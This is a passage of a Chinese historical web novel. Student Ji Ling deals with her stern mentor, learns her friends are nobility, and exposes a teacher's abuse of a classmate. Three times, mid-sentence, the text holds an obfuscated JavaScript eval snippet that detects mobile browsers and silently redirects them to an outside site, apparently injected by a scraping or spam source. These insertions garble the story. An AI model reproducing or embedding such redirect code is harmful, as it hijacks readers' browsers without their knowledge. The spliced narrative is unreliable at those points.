早年在修福建地方志时,秦先生不过是说她一句蠢钝不堪,难为大用,季泠便自暴自弃了好多日。若要她看,先生不过是承了教书育人之责,学生也是为了绵延国祚而进学,相互配合,给足面子也就罢了,何必弄出那么多没必要的先后尊卑,更无需为了先生的一句话而自满自卑。 这位秦先生,不过一句话,就能让季泠抛下一切替她鞍前马后,实在是本事十足。 秦晗在枫漈书院不常露面,何咨宁只知道,她年轻时跟随商船下过南洋,写下鼎鼎大名的南洋风土志,名扬四海。 刚开始,许多读书人都想知道,写出《南洋风土志》的予朝先生究竟是哪位隐姓埋名的江湖文客,费尽心思四处打探,竟发现是一年轻女子,着实震惊。 后来,朝廷实行海禁,这位先生就在建州留下了。 她是枫漈书院的第一位女先生,在她之后来的女先生们来了又走,没有一人能在此地长留。这也在正常不过,建州是物产匮乏,耕地破碎,从前靠着海运兴盛,还能够藏富于民。自从倭乱频发,海禁施行,建州一落千丈,再不复当年风光。而这位走遍山川,向往自由的予朝先生,却在建州一留数十年,甚至几乎不再问世,实在叫人疑惑。 当她们进入枫漈书院时,秦晗已经不再讲学,只守着个瀚海阁,与世隔绝般做个掌书先生。她那本《南洋风土志》因海禁而声名鹊起,秦晗本人却渐渐销声匿迹。 几乎没有多少人知道,予朝先生就是枫漈书院中不好惹的秦先生。 而更令何咨宁不解的是,这位秦先生虽然足不出户,可却似乎对天下大事了如指掌。她的访客多因她为闽地修史慕名而来,能得见她真颜的,却屈指可数。 “秦先生,久仰。” 季泠到了瀚海阁,准备去向秦晗问安时,却听见里头有说话的声音。 秦晗在节日一向是不乐意接待外客的,她往年也很少在节时来打搅她。 今年纯粹是秦晗的过分要求,否则,她此刻该与何咨宁一同去街上游玩才是。 插艾草,喝雄黄,看龙舟,挂香囊,她今年全都无福享受,只能苦哈哈地陪在这个孤家寡人身边,做一个悲惨的小书童。 这道声音…… 实在耳熟。 季泠想要再靠近一些,指望着透过门缝瞧见里头究竟是谁。 “啪嗒。” “谁?” 季泠一僵,看着地上那只秃噜笔,又气又恼。 她这书箱也没漏洞啊! 这笔究竟是哪里掉出来的! 她才弯下腰捡笔,一抬头,两双眼睛直直盯着她,一双敏锐冷淡,一双温和深邃。 秦晗皱着眉,因岁月匆匆而磨掘出凹陷的眼睛总有洞察人心的魔力,季泠被她一看,立刻低头认错。 “进来。”秦晗抛下一句话,季泠立刻拾掇好书箱,又小步跑回自己那间小舍,将她这十日的功课全部抱来,进了屋内,脱了布履,一手拖着书箱,一手拢着书册,狼狈万分地挪到长案边。 而她往日的位置,却被人鸠占鹊巢了。 “徐先生。”季泠觉得今日实在是诸事不宜,什么歹事都被她给撞上了。 “怎么?四方的长案,选了半日,找不到一条边能坐下?”秦晗看她站着半晌,漠然道。 季泠旁撤一步,忙不迭地跪下,“扑通”一声,她的膝盖毫无缓冲地撞在木地上,可秦晗明显生气了,她不敢发出声音。 还不待她把功课拿出来,秦晗又开口:“你今天来干什么?” 那语气,明显就是在说,她这位学生不会挑时候,扰了她的会谈。 “秦先生……您说,十日一回,将地方志的整理情况向您汇报……”季泠小声嗫嚅,手也不敢停下,书箱里,长案上,一本又一本,一卷又一卷,全部摊开,铺了一整条案,挤得徐行只好把茶盏都放在地上,免得这无措的学生打翻好茶。 秦晗毫不顾忌有外客在场,甚至还没看清她写的笔录,劈头盖脸就先骂上一番:“东一册,西一卷,我本以为你这是第三次整理,该有些长进了。你这两年,是只长个子,不长脑子吗?” 徐行讶异,却也不好直接偏头看这学生丢脸,小孩子都是爱面子的。 他低了头,铺在他案前的那卷纸轴写满了字,汇总着苏州府去岁的田赋。再远一些的,则是前年的。摆在最中间的十二折小册是对于一府三年田赋的概统,以及她的见解—— “里胥豪右蠹弊特甚,不应以官民区分田赋,宜以田之肥瘦划定亩税。” 徐行定了定神,秦晗也看见了。两人视线相汇,同时转头看向季泠。 季泠连忙把她写好的目录递给秦晗,按捺不住邀功的小激动:“秦先生且看,此次我都事先归类好了,从右至左,顺序如目录所列。” 秦晗接过目录,对着她的条目,开始检阅她这十日的成果。 十日,满案书卷,数万字,若干盏灯。 季泠焦灼不安,只能静静听着纸页沙沙声,以秦晗翻阅的力道与频率来判断她是否满意。 不知过了多久,兴许才半个时辰,可季泠觉得天应该都要黑了,不然她怎么感觉气氛都是暗沉的。 秦晗“啪”的合上她那份十二折册子,看不出喜怒,只看着她问:“十日,就写了这些?” 季泠一抖,偷偷抬眼,又急忙低头。 “学生…近日课业繁忙…” 秦晗却觉得十分可笑:“你课业繁忙?怎么,秋闱,你也要去考不成?” 季泠一听到秦晗这样说,突然就气不打一出来。 她是考不了!那能怪她吗!不如她的那些男同窗去考都能中,她就不信,若天下放开了科举对男女的限制,她还能落得下风! 季泠一句不言,徐行却看见,她原本因紧张而略微颤抖的手忽而静了。那只手正抓着案腿,似乎要把那老朽的木头掰断,指尖都泛白失色。 季泠埋下头,紧紧咬着唇,烛火下,她额前的碎发阳光般四散绽开,倔强倨傲。那副模样,是十足的不甘心。像只小狮子。 感受到徐行的目光,季泠突然抬头,狠狠看过去。 徐行莫名其妙被她发泄了怒气,倒是有些叫天天不应的无奈。这学生也当真是奇怪。先前见到郑先生,乖巧又伶俐,在秦先生这儿,胆小又倔强。怎么在他面前,一点儿都不收敛。 那日,山长月训,他初次出现在书院时,她坐在下面,还偷偷和她的伙伴说悄悄话,也不怕山长瞧见了斥责。 “季泠,问你话呢。”秦晗的冷语再次传来。 “秦先生,我真是在为课业忙碌。不信您问徐先生!” 若不是徐行天天布置动辄的千八百字的策论,她至于十日才干了这么些吗!写策论也就罢了,她还不得不花时间去收同窗的策论,在同窗那儿被七拖八延,耽误功夫,到徐行那儿,又被他说整理的不恰当,他的要求她没有传达得当。 那么漂亮的两片嘴皮子,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446266|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的全是她讨厌的话! 其他人写完策论,早已半夜三更,倒头就睡,她还得急赤白脸地抱着地方志研究。这半月下来,她人都瘦了不少。 “确有此事。我托季姑娘替我打下手,不成想,耽误了秦先生的正事。” 徐行略带歉意,把案上的书册随手整理了,方方正正,排列有致,不动声色地推到季泠面前。 秦晗暂且放过了她,季泠得了秦晗许可,下了保证,端阳三日她必定笔耕不辍,十日后补足这一旬的空缺。 季泠走后,书斋内恢复了安宁。 秦晗抬头看着徐行,却突然出了神。 真像… 容貌并非十足相似,可举手投足的气度,几乎一模一样。 她一看,就知道,这是徐家出来的人。 和他,以及他,如出一辙。 昔年,她也是季泠这样的年纪,也是不服输又爱逞强的性子,也是这样,跪坐在长案边,被先生训斥,他帮她解围。 往事如烟。 “秦先生?”徐行抬头,秦晗瞬间恢复冷淡,以至于徐行以为是自己花了眼。 正午时分,徐行离开了秦晗的书斋,在最深处的书架边流连许久,走的极缓。 瀚海阁的藏书确实丰富,他在京城多年,见过国子监的藏书阁,却也不得不感叹瀚海阁的积简充栋。 还未起步,他听见异声。很低很低,却喋喋不休。 似乎是身后传来的。 徐行绕过背后的书架,看见一条并不明亮的小道,四周的墙上都摆放着南方诸省各个州府的历年方志,以及志怪经注。 那间小舍的门微阖着,透出很弱的光,照在他的皂靴前。 徐行没有窃听的习惯,很快就轻声离开了。 季泠抻了抻腰,推开小舍的门,绕过九曲回廊,走到瀚海阁前时,听见另一侧也传来推门声。 她转头一看,又是徐行。 她真是倒霉啊… “徐先生安。”方才她没行礼,眼下却是逃不掉了。 徐行抬步跨过门槛,与她一起走出瀚海阁,一步步下了阶梯。 瀚海阁立于九九八十一阶之上,她每回来,都要在心中骂一遍建阁之人。 今日骂的尤为难听。 “季姑娘这是去哪儿?” 季泠伸手挡住日头,眯了眯眼,朝他笑了笑:“吃饭。” 废话,这个时辰出门,难道是想晒太阳不成?他真的是京城的进士? 徐行见她不乐意搭理,也断了寻话破冰的念头,只象征性问问:“今日端阳,怎不回家去?” 他听说,建州风俗里,端阳很盛重,当作小年来过的。既然如此,应当阖家团圆才好。 “家太远,事太多。”季泠应他。 低头看着自己的影子被台阶隔成三段。偏头一看,徐行的却有四段。凭什么?她以后也要长这么高,影子被台阶隔成五段最好! 她偷偷踩了他的影子一脚,没看见影子的主人已经发现她的动作。 “既然如此,端阳节后,你收完下一份课业,便卸任吧。” 惊喜来得猝不及防,季泠刹住脚步,生怕他反悔。 “果真?” “你似乎很怕秦先生。” 却不怕他。 “秦先生德高望重,见多识广,我很敬佩她。” 虽然秦晗脾气古怪,又爱冲她发火,她也是实实在在被她骂怕了,可她就是觉得,这样的才女,有几分脾气也是在正常,否则怎么显得她独特呢? “是否我过于和颜悦色了?”季泠惊讶转头,看着这位先生。 徐行也是初为人师,与学生们的年纪相差不大,甚至有些学生比他还略长几岁。这话问的,倒也正常。先生嘛,总该有点威严的。 季泠尴尬的哈哈一笑,只说:“您长得显年轻。” 心里却在想:因他的课业,书院这一月的烛火钱估计都要翻倍了,谁背地里不骂他两句,心里都不舒坦。 5. 端阳日窥得数隐秘 显年轻?徐行不由发笑,却突然顿住。 是啊… 他还年轻。 他的老师都不着急,他又急什么? 待他回过神来,身边的学生已经跑开了,长长蔓延的台阶上,那个身影一蹦一跳,也不怕摔了。 清晨低着头听秦晗训话,方才小舍里随着烛光流出的对他的抱怨,因她肆意的蹦跳而翻飞的儒巾垂带,悉数与端阳日光相汇。 最终,他看见,另一个姑娘站在树下,张手迎接她。两人挎着臂,说说笑笑间走远了。 夜里,季泠拖着步子回斋舍时,在大院中,听见怪异的动静。 夏夜的风不大,蝉鸣声声不休,季泠努力听了很久,才终于听清。 一个影子从身后缓缓靠近她,“泠儿。” 何咨宁拍了拍季泠的肩膀,却把她吓了一大跳,差点叫出声。 “你怎么站在这儿?不进去?”何咨宁正背着她那把筝,比她人还高,重的她直不起身。 “嘘,你听,有人在哭。”季泠压低声音,站在簌簌草影边。 何咨宁听见了,那道哭泣,是从大院侧边的灌木丛后传来。 季泠想走过去一探究竟,却被何咨宁直接拉回房内。 “别去。”何咨宁卸了筝,轻手将门关紧。 “为什么?她一定是我们这儿的学生。” 端阳节,每年几乎只有她们二人会留在书院里。其他学生要不就是建州人士,直接回家去了,要不就是父母亲人从家乡过来,带着孩子一块儿团聚。她们都没想到,今日斋舍之中竟还会有别人。 “不论是谁,既然躲起来偷偷哭了,就说明她不想被人戳破伤心事。你若是贸然前去,岂不让她难以自容?”季泠方才还激动的恨不得冲进灌木丛,何咨宁一句话,立刻就将她定住。 “是了,她人的伤心是秘密,我不能如此没分寸。”季泠暂且忘下此事,却见何咨宁专注擦拭她那把筝。 这是何咨宁小时候,她娘亲买给她的,与书院中其他人的相比,琴木一般,琴弦也一般。是她娘亲攒了许久的钱,才堪举力买下。何咨宁很爱惜,几乎不带出门。 今日这是… “老实交代,”季泠坐在她对面,何咨宁的神情不对劲,“去哪儿了?” 分明今日午间用饭的时候,她还抱怨季泠不能与她作伴,现在看,却像是早寻着伴了。 “揽乐楼。” “一个人?”季泠促狭道,果不其然,何咨宁抿唇逃避。 “那我猜一猜,”季泠绕着她,左看看,右瞧瞧,何咨宁可从来没有如此外显过心思的。 “齐二?” “嗯。” “他不是回家了吗?” 齐家在建州应当是有些地位的,几乎每旬假日,她们都能看见齐家派人来接三人回去。 虽然已经极力不显排场,可数十侍卫,良马华辇,她们很难不注意。 “他说得了一副不错的弦。” “高山流水,知音相合?”季泠勾了勾指尖,丝弦颤了两声。确实是一副好弦,清脆又不乏沉厚,余韵悠长。 何咨宁看见她书箱中的笔与字,转换了话题。 “你的笔,写出来的字都开叉了。” 季泠闻声看去,思绪顺理成章地被她带跑,举着手给她看:“瞧瞧瞧,我这手指的茧子,换成金馃子,够咱吃一年的。” 话音未落,两人同时听到房门开启的声音。方才哭泣的姑娘回屋了。那间斋舍就在她们屋的正对面。眼下,那间斋舍只住着一个人。 两人面面相觑,许久不再说话。 假日第二日一早,何咨宁陪着季泠进城。她再不去购置新笔,写出的字都能分身了。 行至东湖,人声鼎沸,她们挤都挤不过去。 昨日赛了龙舟,百姓们仍不满足,定要赛上三五日,全过了瘾,才肯罢休。 季泠惦记着昨日下的军令状,走一步,眼睛就往湖边瞥一下,万般可惜,步步回头。何咨宁不爱热闹,只想拉着她快点挤过这如帷人缦,赶紧进了城,速战速决。却被季泠突然拉住。 “咨宁,等等。”她看见了一个熟悉的背影。 何咨宁顺着她示意的方向看过去,是齐无戈。 “好!”四面八方突然爆发如雷掌声,想来是赛舟者的表现十分出色,引得群众喝彩欢腾。 那少年激动地高举双手挥舞着,马尾也在风中飘扬。透过他晃动的残影,她们看见齐无戈身前的钟荡云和齐无咎。齐家三兄妹全来观赛了。 季泠立刻就将此行的目的抛诸脑后,拉着何咨宁冲开人群,牟足劲朝着三人那儿挤去。左推右搡着,她们的衣裳头发全乱了套,终于是挤到齐无戈身后。 辛苦踮起脚,两人看见钟荡云与齐无咎悠哉地依靠着观景栏,左右的游人离他们都有几步远,给他们留足了耍乐的空间。 何咨宁正想喊他们,却被季泠一把拦住。 “等等,”季泠挑起一抹笑,盯着身前热血沸腾的少年,“我要报上次的仇。” 那次的仇,她可记了好久。 就在去年她生辰的时候,钟荡云想要让她们看看她舅舅送她的一匹白马,拉着她们到书院山下的草场上。她们三人走的正欢时,一阵马蹄踏声传来,草屑被撅得如浪花飞溅,她们老远就嗅到泥土的味道。 钟荡云看见远处走来的齐无咎,挥手喊他快来,拉着何咨宁就向他跑去。等季泠反应过来转过身时,一张马嘴赫然出现在她面前,她尖叫一声,惊得连连后退,跌在草地里,摔了满身泥。 齐无戈一身铭金色曳撒,束着麒麟鎏金冠,长拉僵绳,在马儿嘶鸣中哈哈大笑。季泠顺手捡了一个石头狠狠掷过去,却被他用剑鞘精准格挡。 回去后,她那鹅黄色的裙子怎么也洗不干净,就此报废了。那是她为数不多的好衣裳。 她一个月没有理齐无戈。 “君子报仇,十年不晚。”季泠捂嘴偷偷在何咨宁耳边说,正打算从荷包中掏出墨囊,准备从他脖子里灌下去时,齐无戈身边的人却突然围拢过来。 季泠立刻收了手,撤退几步,佯装找个更合适的视角观赛。 “世子,侯爷吩咐…”又一阵喝彩涌来,季泠和何咨宁对望,耳边充斥着夏日狂欢的热闹,她们僵硬地不能动弹。 “他说的是柿子?”季泠张着嘴,呆楞了半天,率先开了口,迟疑的语气被周身的喧嚣掩盖。 何咨宁回答她:“侯爷,世子。” 她们都没听错。 狂浪的排山倒海,季泠和何咨宁个头太小,后头想要挤进前排的人全然没注意到她们,直接狠狠撞过来。 何咨宁拉住季泠,在两人昏头昏脑的那刻,冷不丁撞到前方的人背后。 几乎同时,她们被潜在暗中的侍卫抓了现行。齐无戈转身时,季泠和何咨宁已经被他的暗卫反扭了手。 随着他转身的,还有齐无戈身前的齐无咎和钟荡云。 “呀!泠儿!咨宁!你们也来看赛龙舟?”钟荡云喜出望外,只顾着为相遇的缘分激动,全然没看见她们身后钳制住她们的人。 “放开她们。”“世子爷,可以放开我们了吗?”两道声音撞在了一起。 划龙舟的齐呼声震得岸边青草透湿,天边白云乱飘。齐无戈和齐无咎同时白了脸。 暗卫松手的那一瞬,两人转头就走。层层叠叠的缤纷罗裙中,两个素色麻裙的姑娘很快不见了。 齐无戈转过身,钟荡云却还一脸茫然。 “大哥,泠儿和咨宁生气了?怎么不打招呼就走了?” 齐无戈看向她身旁的齐无咎,会心苦笑。 他们三人,这下算是惹祸上身了。 拔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你那二两心思,明明白白写在脸上,我不想知道都难。“秦晗看完,将册子合上,摆出一副大发善心的模样。 “说说吧,遭谁骗了?” “您认识的…荡云和齐大齐二…他们是…” “抚远候齐家。” “您知道?”季泠不可思议。秦晗足不出户,怎么什么都知道?赛半仙了这不是? 秦晗瞧见她那惊诧的模样,破天荒笑了一下。季泠仿佛见了鬼般缩了缩脖子,秦晗立刻敛了笑意。 “怎么?你觉得,你的好朋友将身份瞒了你,不诚实?” “…也不算。只是,我们可是朋友啊!还是很好很好的朋友!朋友之间,不应该有秘密吧?” 这话说出来,季泠自己都觉得傻的天真。她自己这样想,纯粹是因为她藏不住事,可别人未必如此。 “你倒也奇了。侯府的同窗,换谁都该高兴,你反倒像是被讹了钱。” “我只是觉得,有点难过。我大概也猜得到,他们隐瞒身份是怕招惹祸端,毕竟树大招风…可是,今日,我与咨宁知道了,我们之间的地位就变了。我看着他们,总觉得远了许多,不再是可以随意嬉笑打骂的关系。” 她觉得很可惜。同窗之谊对她而言是很珍贵的,没有勾心斗角,没有身份尊卑。 离开书院进了城,买过几回东西,办过几次琐事,遭过几次白眼,才明白人心轻薄,都是先敬衣裳后敬人的。也只有在书院,穿上统一的儒巾斓衫,他们才算是一类人,才能坐在同一张书案前交谈。 “季泠。”季泠迷茫地看着秦先生,她猜到,秦晗估计要对她说些什么了。 “所谓的地位,关系,是你自己构筑的。”季泠不解。 “看看你身边,县令,学正、推官、知府,这些人的子侄,在你离开书院后,一辈子都接触不到几个。而如今,你甚至能与抚远候府的人打的火热,你该感到高兴。” 是的,正常来说,她该感到高兴,她和何咨宁都非常明白,书院带给她们这些白衣的,绝不仅仅是学识道理,更有许多助益一生的东西。 “先生的意思是…” “好好利用他们。” 6. 应无忧者反生忧怖 “可,他们都是我的同窗…情谊怎能利用呢?” “愚蠢。”秦晗淡淡瞥了她一眼,“没有利益的情谊,最不可靠。你来我往,活水更迭,生生不息。非教你欺瞒他人,而是教你趁早认清这世道,不要只傻傻地死读书,脑子里只有仁义道德,是吃不饱饭,走不远路的。女子身弱,更是如此。” “女子怎就身弱了?”季泠有些不服气,秦先生也是女子,为何自贬自损? “让你认清男女之间固有的差异,不要空有壮志而不自量力。既然身弱,你就该练的心坚志强,这才是你该争胜的地方。” 秦晗的话语总是波澜不惊,季泠真的很想知道,这位秦先生,究竟是被俗世的风浪击打过几回,才能做到如此心外无物,不喜不悲。 可即便她是她敬重的先生又如何?她难道要把先生的话全都奉为圭臬吗? “可我也能靠自己的,就如您一样。真心归真心,利益归利益,我能把它们分得清楚。如您所言,我练的心智坚强,可以自立于世。”秦晗像是听见天大的笑话,不可避免地露出嘲讽。 “有力不借,标榜自己独立自强,那是蠢人才做的事情。你脑子给我放清楚了,既然得了齐家兄妹的情分,就别浪费。”同样的话,秦晗在说出的那一瞬间,颇有几分故地重游,故人相逢的恍惚。 她看着季泠,又想到二十多年前的场景。于是今日,她决定大发善心,为这个蠢学生指条明路。 季泠听见秦晗突如其来的和缓:“只有利益自然走不长远,有几分感情作黏合,倒是牢靠。各有所求,不必内疚,” “正如你我,虽是师生,可也不必套上师贤徒谦的虚伪模子,我传授你经验,你满足我的乐趣,不过如此而已。” 季泠闻此,不免怔愣些许。除了对秦晗如此赤裸裸的话语的震骇之外,还有几分窃喜。 秦晗第一次承认,自己是她的学生。四年了,她的虔诚终于打动了秦晗。 从瀚海阁里出来,月黑风高,季泠已经沉浸在自己的成就中。 秦晗赞了她昨日的那份十二折心得,并告诉她,徐行在她面前夸了她,说她的策论写得不错。 虽然秦晗的神情几乎就像是在说,她今日出门终于带了一副人脑子。 因积极的认同,季泠可以对所有意外都和颜悦色。钟荡云没如实告知她的身份,那也没关系的! 荡云都说她们三人是异性姐妹,同气连枝,绝不背弃。况且,她只是抚远候的外甥女,不说也是情理之中。 虽然她连自己小时候藏冬瓜糖的位置都告诉荡云了。 今夜的天特别黑,背后的风总像张了手生了嘴,追着她跑。 季泠走的很快,沙砾滚动的声音都能被她捕捉,以至于她最后几乎小跑起来。 在快要走进芳园中时,她听见矮树丛中的异声。 几乎未作思考,她停下了脚步,双腿都在打颤。是很轻的步伐声,以及珮环击撞的响动。 同时,她看见人影闪动,淡淡的影子映照在石墙上,被叶片割裂成许多瓣。 是男子。 乌云渐散,季泠稳住了腿,小心靠近那处矮树丛,听见了熟悉的声音——昨日女子的哭泣。 不同的是,今日,有男子的声音。 芳园是女学生们的斋舍,在园子外有男子经过是正常的,可长久的停留,却不合理。 躲在一棵高树后,季泠听了许久,终于分辨清楚,矮树丛后究竟发生了什么。 一阵怒火冲上脑袋,季泠把手中的书箱高高举起,用力往矮树丛中投去。 “砰”一声,她的书箱四分五裂。 季泠拔腿就往园子内跑去,后人很快追上。 那人一把抓住她的肩,季泠即可再也动弹不得。 “季泠?”上方传来一道威胁的声音。 季泠颤着声,想要扭动,却不能挣脱。 “陈…陈先生…”抓住她的,正是曾经给她们讲习过《礼记》的陈钊。 陈钊倾身,掐住她的肩,暗声威胁道:“什么该说,什么不该说,你该知道。” 树影犹如鬼怪爪牙,将她的光明全部拦下,一丝一毫的月光都不曾光临。 季泠死死低着头,把牙齿哆嗦相撞的声音咽下,连连点头。 陈钊松了手,深深看她许久。季泠不敢抬头,生怕那把狱火烧死她。不知在原地站了多久,乌云渐渐驱散,月亮漏了出来。 季泠终于瘫坐在地,心神震惶,不敢置信。 “泠儿!”后方有人踩过枯枝败叶,直奔她而来。何咨宁刚碰到她的肩,就被季泠下意识甩开。 “是我,泠儿,别怕。”何咨宁蹲到季泠身前,低声哄慰她许久,季泠才终于回过了神。 “咨宁!”季泠一把揽住她,揪住她的衣服,几乎要哭出声来。 矮树丛后,那阵哭声仍未停歇。 季泠抹了泪,立刻拉着何咨宁走过去。她的裙摆沾满叶碎,穿过矮树丛时,听到细细的刺啦声,她的衣袖被划破了。 同样跌坐在地上的姑娘抱着膝,满面仓惶,痛哭不止。 “吴忧…”那脆弱瘦小的姑娘剧烈颤抖着,被两人搀扶起来,跌跌绊绊地回了芳园。 到她斋舍前,季泠还想说些什么安慰她,却被吴忧一把推开。 “砰”的一声,里头的人无法收敛力道,木门被重重推上。门后,吴忧靠着墙,死死咬住唇,不敢让一门之隔的人继续窥探她的伤痛。 季泠与何咨宁站在吴忧斋舍之外,透过窗边剪影,看见她擦了泪,长久坐在窗边,不再动弹。 回到斋舍,何咨宁铰了湿帕子,将季泠的狼狈清理干净。 “你被看见了吗?”何咨宁点点头。她听到书箱碎裂的声音后,跑出斋舍,才到园子前,就撞上了从树丛里走出来的陈钊。 陈钊盯着她,一言未发,眼皮痉挛数下,复又如没事人一般,甩了甩袖,仰头背手离开。她自然是什么都没看见。可看到季泠的脸色和反应,以及昨日与今日的吴忧,她什么都猜到了。 “咨宁,”季泠握住她的手,猛猛灌了自己一壶水,终于借那满腹的坠重压下恐惧。“后日,是不是山长月训的日子。” 何咨宁点了头,“你要做什么?”她对季泠的秉性了如指掌,不必思考,就猜到她的意图。 “你说,陈先生,会放过我们吗?” 必然不会。 “泠儿,不要生事,我们在这儿进学的机会来之不易。” 季泠沉默许久,捏紧了帕子。 吴忧往致用斋走去的途中,听见纷纷议论。 前方似乎有大事发生,学生们交头接耳,围作一团。 她不欲参与其中,羸弱的身子在狂风中艰难地前行。 建州盛夏,海边总要起飓风。只言片语传入她耳中,终究留下了几个字眼。 待她走到山长月训的台前,看见地上跪着的人时,剧烈的恐慌让她摇摇欲坠。 又一阵喧嚣掀起,钟荡云急赤白脸地拉着齐家兄弟挤到前排,抓人就问:“这是发生什么了?泠儿怎么跪在那儿?” 他们看不见季泠的表情,只能看见她后脑勺的儒巾垂带在风中凌乱,将要把那单薄的背影吊起来。 “她状告陈先生,说陈先生欺辱女学生……” 吴忧敏锐捕捉到不可忽略的恶言,摇晃中向前摔去,被沉默许久的何咨宁一把扶住。 “陈先生来了!”有人低呼。 陈钊的山羊胡因疾步颤抖着,一见到季泠,立刻就要冲上前去,直指怒骂:“孽徒!” 季泠攥紧拳,借掌心的锐痛分散自己的恐惧。 她知道,自己今日一定会成为众矢之的。 可是,如果她今日不说,不把此事闹大,那么日后,遭遇陈钊黑手的,又何止一个吴忧?她和何咨宁被陈钊发现了,她们就算想装作无事人,陈钊又怎会安心把柄旁落?她唯一能够想到的办法,就是闹大此事。 山长最是注重书院名声。往年,有一个学生只不过是沾染上偷盗的嫌疑,即使后面证实是误会,山长仍然把那学生清出书院。既然如此,只要她把此事曝露,山长被架至高地,陈钊多少也能受惩。 “季泠,你既说,陈先生欺辱你,可有证据?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446268|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴忧听见山长此言,目光凝于那被千百恶意包围的同窗。 陈先生,欺辱她? 她又看回何咨宁。 何咨宁见她已经知道来龙去脉,只低声说了句,“别妄动。”就收回了手。 季泠撑着膝盖,脸色苍白。 她跪了不知多久,天才擦亮就在这儿蹲守山长,绘声绘色地讲述陈钊是如何欲行不轨,如何上下其手,声色俱厉地控诉陈钊为师行为不端,为人无礼无德。 眼下,她已经口干舌燥,一句话也说不出来。 愈盛的狂风在她耳边呼啸,在准备说出“没有证据”时,季泠听见很轻很轻的珠链声。 这阵声音,让她陡然激起一缕希望。 季泠第一次转过头,从左看到右,竭力在看客中寻找一份可以借之抗衡的力量。 如在场所有人一样,徐行也正看着风云漩涡中的那个学生。 固执的眼神,无助的背影,飘摇的衣袖,草率的决定,一切都那么不合时宜。正如他接下来的举动。 “山长,兴许,我可以作证。” 如滚水浇冰,他的声音破开风声,弥漫出几分虚晃的雾气。 “润旻,此言当真?”山长老迈的声音仍有威严。 他的资历定然是高于徐行的,可论势力,他也需要掂量几分。 况且,若是让徐行搅入此事,见证过女学生被男先生欺侮,这样的名声,对他日后的仕途必然无益。 “那日,我回寓舍途中,恰巧经过芳园。” 仅一句话,就胜过季泠跪的半个时辰,告的一箩筐话。 山长褫夺了陈钊的讲学身份,清出书院。 看着堂前搅弄风波的季泠,山长只说了一句“好自为之”,随后命驱赶学生们回书斋去。 当日散学后,书院中的人渐渐走光了,季泠抱着端阳前徐行布置的文章,走到吴忧的书案旁。 她将其他学生的文章都收来了,就剩下吴忧的。 今日众人的眼睛都盯着她,吴忧是个敏感的姑娘,她既然决定替她出头,就不能再让吴忧受她连累。 吴忧趴在书案上,季泠才触碰到她,她就从案前惊起。 “吴忧,你,还好吗?”经过一日的煎熬折磨,此时已经心神俱疲,可看着柔弱又悲惨的姑娘,她还是软了声音。 季泠还未问她,能否先将徐先生布置的文章交给她时,却被吴忧扬手横挡。 空荡的致用斋中,窗棂被风吹得狂响,学生们的文稿成了漫天飞舞的雪花,在风中四处纷飞。 季泠捡不及,怒气也压抑不住:“你干什么!” “你为什么擅自检举陈先生!”吴忧崩溃大喊道,倾泻而出的泪化作排山倒海的浪,将她的最后一丝希望全部冲垮。 不经意的推搡中,季泠摔在满地纸页上。 等待季泠的何咨宁一把推开吴忧,把跌倒的季泠扶起。 “季泠是在帮你!” “我不需要你帮!” 季泠被她的歇斯底里惊得说不出话,不知如何是好,满腹的委屈瞬间翻涌而来。 她不需要吴忧感谢她,可她自觉自己是做了件善事的,甚至,她不惜为此自败名声,挑战师长权威。她再大胆,也不是什么离经叛道、不分尊卑的顽劣之人,深思两日,她才鼓足勇气去冒险一试。 “你什么都不知道!陈钊被捕,我如何才能在书院中继续进学!”吴忧凄厉嘶吼着,全然失去理智。 她一直谨小慎微,生怕失去这个机会。 “我不是你!季泠!你有那么多先生的欣赏爱护,又有天赐的能力能够考取三甲。我不行!我父母辗转求告,才寻到关系打通陈钊的门路,让我得了机会来书院……” 吴忧的哭号转为啜泣,无望的将来真是要将她击垮了。 为了父母低声下气挣得的机会,为了她自小想要如兄弟一样进学的自由,她一个人默默忍受陈钊的奸恶。反抗对她而言,得不偿失。 季泠的自以为是,让她的委曲求全全白受了。 “全完了……我全完了……”吴忧捂着脸,六神无主中跑出了致用斋。 7. 顺理借势达成目的 季泠捧着皱巴巴的纸页站在徐行书斋里,等待他的责骂。 而第一声传来的,是她意料之外的关心。 “你怎么了?哭了?” 季泠抬眼看他,徐行没有生气,她偷偷松了一口气。 “抱歉先生,因我的失误,大家的文章都弄脏了。” 这是她最后一次帮徐行收课业,却没能得一个完美的结果,她有些内疚。 “无妨。”徐行草草翻了一下,只是蹭了些灰,皱巴了点,还是能看清的。 “那学生就先告退了。”季泠略行了礼,转身就想跑走。她现在很狼狈,不想被任何人看见丢脸。 还未打起竹帘,后方的声音传来,慢慢的,像古井里不会流动的水。 “那日,”季泠顿住脚步,猛的转头看他。 那日,徐行确实只是经过,抄了近道从芳园前的林子里走过,京城的阅云传了信来,览风向他禀告,他才驻足停留了一会儿。听见异动,未免节外生枝,他当即就离开了。 “学生无事。”徐行点点头,似乎放下心。他记得,那日,他听见了她从瀚海阁回来的脚步声。他走出林子不久,就传来木头碎裂的声音。 矮树丛中受委屈的姑娘,另有其人。 